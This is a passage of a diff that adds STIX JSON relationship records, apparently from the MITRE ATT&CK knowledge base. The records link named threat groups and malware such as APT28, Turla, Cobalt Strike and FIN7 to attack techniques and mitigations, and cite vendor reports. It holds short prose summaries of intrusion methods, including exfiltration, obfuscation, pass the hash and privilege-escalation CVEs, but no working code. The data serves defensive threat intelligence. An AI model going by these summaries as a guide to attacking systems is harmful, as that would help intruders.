"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.715Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to delete a file and deletes files after they have been successfully uploaded to C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1f06f614-8f5a-4666-9fa5-fcda1535f97d", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform port scans from an infected host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--df6bc111-0e49-4e61-b38a-ee79cf682d09", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect active network connections by running netstat -an on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) looked for a specific process running on infected servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--e8cb4430-db05-4029-b011-926a2ba17a4c", + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "modified": "2019-03-25T17:15:03.477Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2851e8fa-0622-42db-b7b7-4e051fc5fbeb", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.284Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) adds collected files to a temp.zip file saved in the %temp% folder, then base64 encodes it and uploads it to control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6a04ef8a-9521-4212-92be-85e092b82e24", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.059Z", + "id": "relationship--47835d17-73e1-427f-85b0-b55b610fa9ad", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "modified": "2019-03-25T16:53:38.839Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is capable of manipulating the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--202b96f6-0f7c-4aed-8004-780f1d880059", + "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--5dd257c0-c2cb-422a-9991-93ff667c5ad6", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "source_name": "US-CERT FALLCHILL Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses Port Numbers 443, 8443, and 8080 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cf237fa7-165c-463a-90bb-aa6e20de5249", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.719Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) uses character replacement, [PowerShell](https://attack.mitre.org/techniques/T1086) environment variables, and XOR encoding to obfuscate code. [POWERSTATS](https://attack.mitre.org/software/S0223)'s backdoor code is a multi-layer obfuscated, encoded, and compressed blob.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--baf31b81-e175-49e3-b2d9-d7552ea902a1", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:52.967Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can encrypt payloads using XOR. [Threat Group-3390](https://attack.mitre.org/groups/G0027) malware is also obfuscated using Metasploit\u2019s shikata_ga_nai encoder as well as compressed with LZNT1 compression.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--658fcd28-934d-4077-b93e-89af9512de5f", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.039Z", + "id": "relationship--cce31baa-5862-4df5-806f-15aaa7410fa5", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.817Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Rover](https://attack.mitre.org/software/S0090) has functionality to remove Registry Run key persistence as a cleanup procedure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bad90106-a150-4d76-b39f-f35aab4ac766", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--489e5386-b177-455f-a8b3-d3c6e7afb9b1", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "modified": "2019-03-25T17:01:21.308Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[SNUGRIDE](https://attack.mitre.org/software/S0159) communicates with its C2 server over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2121683c-ab01-4212-b2d2-af290dd8ed17", + "source_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used a Batch file to automate frequently executed post compromise cleanup activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e090281c-4ab9-4b6f-ab63-f22606f7e620", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.660Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--758b6582-b988-4ab9-911e-e40c9bbebc2d", + "source_ref": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5", + "modified": "2019-07-24T14:34:11.421Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) encrypts data with a substitute cipher prior to exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--292b2a10-ebee-4fbb-b359-2eee16aa46ba", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-05-03T16:42:19.204Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used shellcode to download Meterpreter after compromising a victim. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can also download files onto victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--20b90b04-4ce1-4e9a-9dbb-9fc93569d3e1", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.958Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9a8ca137-d0ec-4861-ad1b-0686bf6ac4c9", + "source_ref": "course-of-action--a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb", + "modified": "2019-07-24T19:20:19.834Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform pass the hash.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9a286577-ccfc-4793-96ce-02c17dc0f4ae", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.283Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) spear phishing campaigns have included malicious Word documents with DDE execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.421Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CyberScoop FIN7 Oct 2017", + "description": "Waterman, S. (2017, October 16). Fin7 weaponization of DDE is just their latest slick move, say researchers. Retrieved November 21, 2017.", + "url": "https://www.cyberscoop.com/fin7-dde-morphisec-fileless-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) takes a screenshot of the screen and displays it on top of all other windows for few seconds in an apparent attempt to hide some messages showed by the system during the setup process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0c1f6d5f-3094-4834-94a9-5a615e7c319c", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[APT19](https://attack.mitre.org/groups/G0073) collected system architecture information. [APT19](https://attack.mitre.org/groups/G0073) used an HTTP malware variant and a Port 22 malware variant to gather the hostname and CPU information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c3d9182c-178b-4d8d-91d8-f4d1313738bb", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.117Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + }, + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.042Z", + "id": "relationship--e2e2d332-f27b-46fb-b48f-4ee1872b321f", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group-IB Anunak", + "description": "Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.", + "url": "http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has downloaded additional scripts and files from adversary-controlled servers. [Leviathan](https://attack.mitre.org/groups/G0065) has also used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--273ad96c-269f-4736-a3de-646713c15b50", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.295Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. 